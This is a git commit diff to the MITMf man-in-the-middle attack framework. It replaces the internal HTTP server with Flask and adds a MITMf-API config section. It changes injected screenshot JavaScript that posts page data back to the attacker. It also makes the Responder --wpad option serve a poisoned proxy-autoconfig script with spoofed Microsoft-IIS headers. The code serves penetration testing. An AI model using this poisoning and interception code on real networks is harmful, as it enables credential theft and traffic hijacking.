second implementation of the HTTP server using Flask, screenshot js code now capture's screeshots of only the visible part of the webpage, modified the responder --wpad option to use the built in HTTP server

This commit is contained in:
byt3bl33d3r 2015-06-20 15:01:07 +02:00
commit 1b204e84b8
12 changed files with 123 additions and 122 deletions

View file

@ -6,6 +6,7 @@
# Required BeEF and Metasploit options # Required BeEF and Metasploit options
[[BeEF]] [[BeEF]]
beefip = 127.0.0.1 beefip = 127.0.0.1
beefport = 3000 beefport = 3000
user = beef user = beef
@ -18,6 +19,11 @@
rpcport = 55552 rpcport = 55552
rpcpass = abc123 rpcpass = abc123
[[MITMf-API]]
host = '127.0.0.1'
port = '9090'
[[SMB]] [[SMB]]
# #
@ -57,16 +63,15 @@
# ini = /tmp/desktop.ini # ini = /tmp/desktop.ini
# bat = /tmp/evil.bat # bat = /tmp/evil.bat
#This is still experimental, don't uncomment pls! [[HTTP]]
#[[HTTP]]
# #
# Here you can configure MITMf's internal HTTP server # Here you can configure MITMf's internal HTTP server
# #
#port = 80 port = 80
#[[[Paths]]] [[[Paths]]]
# #
# Here you can define the content to deliver # Here you can define the content to deliver
@ -74,8 +79,8 @@
# Format is urlpath = filesystem path (urlpath can be a regular expression) # Format is urlpath = filesystem path (urlpath can be a regular expression)
# ".*" = "/var/www" ".*" = "/var/www"
# "/test" = "/var/www2" "/test" = "/var/www2"
[[DNS]] [[DNS]]

View file

@ -14,11 +14,6 @@ class ConfigWatcher(FileSystemEventHandler):
_instance = None _instance = None
config = ConfigObj("./config/mitmf.conf") config = ConfigObj("./config/mitmf.conf")
def __init__(self):
observer = Observer()
observer.schedule(self, path='./config', recursive=False)
observer.start()
@staticmethod @staticmethod
def getInstance(): def getInstance():
if ConfigWatcher._instance is None: if ConfigWatcher._instance is None:
@ -34,6 +29,11 @@ class ConfigWatcher(FileSystemEventHandler):
self.reloadConfig() self.reloadConfig()
self.onConfigChange() self.onConfigChange()
def startConfigWatch(self):
observer = Observer()
observer.schedule(self, path='./config', recursive=False)
observer.start()
def onConfigChange(self): def onConfigChange(self):
""" We can subclass this function to do stuff after the config file has been modified""" """ We can subclass this function to do stuff after the config file has been modified"""
pass pass

View file

@ -2871,7 +2871,9 @@ function grab() {
xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
var x=encodeURIComponent(dat); var x=encodeURIComponent(dat);
xmlhttp.send(x); xmlhttp.send(x);
} },
width: screen.width,
height: screen.height
}); });
} }

View file

@ -1,6 +1,6 @@
#!/usr/bin/env python2.7 #!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati # Copyright (c) 2014-2016 Marcello Salvati
# #
# This program is free software; you can redistribute it and/or # This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as # modify it under the terms of the GNU General Public License as
@ -31,18 +31,30 @@ import json
import sys import sys
from flask import Flask from flask import Flask
from core.configwatcher import ConfigWatcher
from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.sergioproxy.ProxyPlugins import ProxyPlugins
app = Flask(__name__) app = Flask(__name__)
log = logging.getLogger('werkzeug') #log = logging.getLogger('werkzeug')
log.setLevel(logging.DEBUG) #log.setLevel(logging.DEBUG)
class mitmfapi: class mitmfapi:
_instance = None
host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host']
port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port'])
@staticmethod
def getInstance():
if mitmfapi._instance is None:
mitmfapi._instance = mitmfapi()
return mitmfapi._instance
@app.route("/") @app.route("/")
def getPlugins(): def getPlugins():
# example: http://127.0.0.1:9090/getPlugins # example: http://127.0.0.1:9090/
pdict = {} pdict = {}
#print ProxyPlugins.getInstance().plist #print ProxyPlugins.getInstance().plist
@ -60,7 +72,7 @@ class mitmfapi:
@app.route("/<plugin>") @app.route("/<plugin>")
def getPluginStatus(plugin): def getPluginStatus(plugin):
# example: http://127.0.0.1:9090/getPluginStatus/cachekill # example: http://127.0.0.1:9090/cachekill
for p in ProxyPlugins.getInstance().plist: for p in ProxyPlugins.getInstance().plist:
if plugin == p.name: if plugin == p.name:
return json.dumps("1") return json.dumps("1")
@ -69,8 +81,8 @@ class mitmfapi:
@app.route("/<plugin>/<status>") @app.route("/<plugin>/<status>")
def setPluginStatus(plugin, status): def setPluginStatus(plugin, status):
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/1 # enabled # example: http://127.0.0.1:9090/cachekill/1 # enabled
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/0 # disabled # example: http://127.0.0.1:9090/cachekill/0 # disabled
if status == "1": if status == "1":
for p in ProxyPlugins.getInstance().plist_all: for p in ProxyPlugins.getInstance().plist_all:
if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist): if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist):
@ -85,8 +97,8 @@ class mitmfapi:
return json.dumps({"plugin": plugin, "response": "failed"}) return json.dumps({"plugin": plugin, "response": "failed"})
def startFlask(self, host='127.0.0.1', port=9090): def startFlask(self):
app.run(host=host, port=port) app.run(host=self.host, port=self.port)
#def start(self): #def start(self):
# api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask) # api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask)

View file

@ -420,8 +420,6 @@ class DNSChef(ConfigWatcher):
version = "0.4" version = "0.4"
def __init__(self): def __init__(self):
ConfigWatcher.__init__(self)
self.tcp = False self.tcp = False
self.ipv6 = False self.ipv6 = False
self.hsts = False self.hsts = False
@ -431,8 +429,6 @@ class DNSChef(ConfigWatcher):
self.nameservers = ["8.8.8.8"] self.nameservers = ["8.8.8.8"]
self.port = 53 self.port = 53
self.onConfigChange()
@staticmethod @staticmethod
def getInstance(): def getInstance():
if DNSChef._instance == None: if DNSChef._instance == None:
@ -477,6 +473,9 @@ class DNSChef(ConfigWatcher):
self.hsts = True self.hsts = True
def start(self): def start(self):
self.onConfigChange()
self.startConfigWatch()
try: try:
if self.config['MITMf']['DNS']['tcp'].lower() == 'on': if self.config['MITMf']['DNS']['tcp'].lower() == 'on':
self.startTCP() self.startTCP()

View file

@ -1,82 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import sys
import tornado.ioloop
import tornado.web
import threading
from core.configwatcher import ConfigWatcher
tornado_logger = logging.getLogger("tornado")
tornado_logger.propagate = False
formatter = logging.Formatter("%(asctime)s [HTTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
fileHandler = logging.FileHandler("./logs/mitmf.log")
streamHandler = logging.StreamHandler(sys.stdout)
fileHandler.setFormatter(formatter)
streamHandler.setFormatter(formatter)
tornado_logger.addHandler(fileHandler)
tornado_logger.addHandler(streamHandler)
class HTTPServer(ConfigWatcher):
_instance = None
application = tornado.web.Application([])
http_port = int(ConfigWatcher.config["MITMf"]["HTTP"]["port"])
@staticmethod
def getInstance():
if HTTPServer._instance == None:
HTTPServer._instance = HTTPServer()
return HTTPServer._instance
def addHandler(self, urlregex, handler, vhost=''):
self.application.add_handlers(vhost, [(urlregex, handler)])
def addStaticPathHandler(self, urlregex, path, vhost=''):
self.application.add_handlers(vhost, [(urlregex, {"static_path": path})])
def resetApplication(self):
self.application = tornado.web.Application([])
def parseConfig(self):
for url,path in self.config['MITMf']['HTTP']['Paths'].iteritems():
self.addStaticPathHandler(url, path)
def onConfigChange(self):
self.resetApplication()
self.parseConfig()
def start(self):
self.parseConfig()
self.application.listen(self.http_port)
t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start)
t.setDaemon(True)
t.start()
class HTTPHandler(tornado.web.RequestHandler):
def get(self):
raise HTTPError(405)
def post(self):
raise HTTPError(405)

View file

@ -0,0 +1,47 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import sys
import threading
from core.configwatcher import ConfigWatcher
from flask import Flask
class HTTPserver:
_instance = None
server = Flask(__name__)
port = int(ConfigWatcher.getInstance().config['MITMf']['HTTP']['port'])
@staticmethod
def getInstance():
if HTTPserver._instance is None:
HTTPserver._instance = HTTPserver()
return HTTPserver._instance
def startFlask(self):
self.server.run(host='0.0.0.0', port=self.port)
def start(self):
server_thread = threading.Thread(name='HTTPserver', target=self.startFlask)
server_thread.setDaemon(True)
server_thread.start()

View file

@ -15,9 +15,9 @@ class SMBserver(ConfigWatcher):
_instance = None _instance = None
impacket_ver = version.VER_MINOR impacket_ver = version.VER_MINOR
server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower() server_type = ConfigWatcher.getInstance().config["MITMf"]["SMB"]["type"].lower()
smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"] smbchallenge = ConfigWatcher.getInstance().config["MITMf"]["SMB"]["Challenge"]
smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"]) smb_port = int(ConfigWatcher.getInstance().config["MITMf"]["SMB"]["port"])
@staticmethod @staticmethod
def getInstance(): def getInstance():

View file

@ -29,7 +29,6 @@ from twisted.internet import reactor
from core.sslstrip.CookieCleaner import CookieCleaner from core.sslstrip.CookieCleaner import CookieCleaner
from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.sergioproxy.ProxyPlugins import ProxyPlugins
from core.utils import Banners, SystemConfig, shutdown from core.utils import Banners, SystemConfig, shutdown
from core.mitmfapi import mitmfapi
from plugins import * from plugins import *
Banners().printBanner() Banners().printBanner()
@ -159,18 +158,22 @@ reactor.listenTCP(args.listen, strippingFactory)
for p in ProxyPlugins.getInstance().plist: for p in ProxyPlugins.getInstance().plist:
p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
p.startConfigWatch()
if hasattr(p, 'startThread'): if hasattr(p, 'startThread'):
t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread) t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread)
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
mitmfapi().start()
print "|" print "|"
print "|_ Sergio-Proxy v{} online".format(sergio_version) print "|_ Sergio-Proxy v{} online".format(sergio_version)
print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version) print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version)
#Start MITMf-API
from core.mitmfapi import mitmfapi
mitmfapi().start()
print "|_ MITMf-API running on http://{}:{}/".format(mitmfapi.getInstance().host, mitmfapi.getInstance().port)
#Start Net-Creds #Start Net-Creds
from core.netcreds.NetCreds import NetCreds from core.netcreds.NetCreds import NetCreds
NetCreds().start(args.interface, myip) NetCreds().start(args.interface, myip)
@ -182,9 +185,9 @@ DNSChef.getInstance().start()
print "|_ DNSChef v{} online".format(DNSChef.version) print "|_ DNSChef v{} online".format(DNSChef.version)
#Start the HTTP Server #Start the HTTP Server
#from core.servers.http.HTTPServer import HTTPServer from core.servers.http.HTTPserver import HTTPserver
#HTTPServer.getInstance().start() HTTPserver.getInstance().start()
#print "|_ HTTP server online" print "|_ HTTP server online"
#Start the SMB server #Start the SMB server
from core.servers.smb.SMBserver import SMBserver from core.servers.smb.SMBserver import SMBserver

View file

@ -21,12 +21,12 @@
from plugins.plugin import Plugin from plugins.plugin import Plugin
from twisted.internet import reactor from twisted.internet import reactor
from core.utils import SystemConfig, shutdown from core.utils import SystemConfig, shutdown
from core.configwatcher import ConfigWatcher
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner
from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter
from core.responder.wpad.WPADPoisoner import WPADPoisoner
class Responder(Plugin): class Responder(Plugin):
name = "Responder" name = "Responder"
@ -54,8 +54,23 @@ class Responder(Plugin):
LLMNRPoisoner().start(options, self.ourip) LLMNRPoisoner().start(options, self.ourip)
if options.wpad: if options.wpad:
from core.responder.wpad.WPADPoisoner import WPADPoisoner from core.servers.http.HTTPserver import HTTPserver
WPADPoisoner().start(options) import flask
server = HTTPserver.getInstance().server
@server.route('/<wpad_req>')
def wpad(wpad_req):
if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')):
payload = ConfigWatcher.getInstance().config['Responder']['WPADScript']
resp = flask.Response(payload)
resp.headers['Server'] = "Microsoft-IIS/6.0"
resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig"
resp.headers['X-Powered-By'] = "ASP.NET"
resp.headers['Content-Length'] = len(payload)
return resp
if self.config["Responder"]["MSSQL"].lower() == "on": if self.config["Responder"]["MSSQL"].lower() == "on":
from core.responder.mssql.MSSQLServer import MSSQLServer from core.responder.mssql.MSSQLServer import MSSQLServer

View file

@ -32,7 +32,7 @@ class SMBAuth(Inject, Plugin):
def initialize(self, options): def initialize(self, options):
self.target_ip = SystemConfig.getIP(options.interface) self.target_ip = SystemConfig.getIP(options.interface)
Inject.initialize(options) Inject.initialize(self, options)
self.html_payload = self._get_data() self.html_payload = self._get_data()
def _get_data(self): def _get_data(self):

View file

@ -10,7 +10,7 @@ mitmf_logger = logging.getLogger('mitmf')
class Plugin(ConfigWatcher, object): class Plugin(ConfigWatcher, object):
name = "Generic plugin" name = "Generic plugin"
optname = "generic" optname = "generic"
tree_info = list() tree_info = []
desc = "" desc = ""
version = "0.0" version = "0.0"
has_opts = False has_opts = False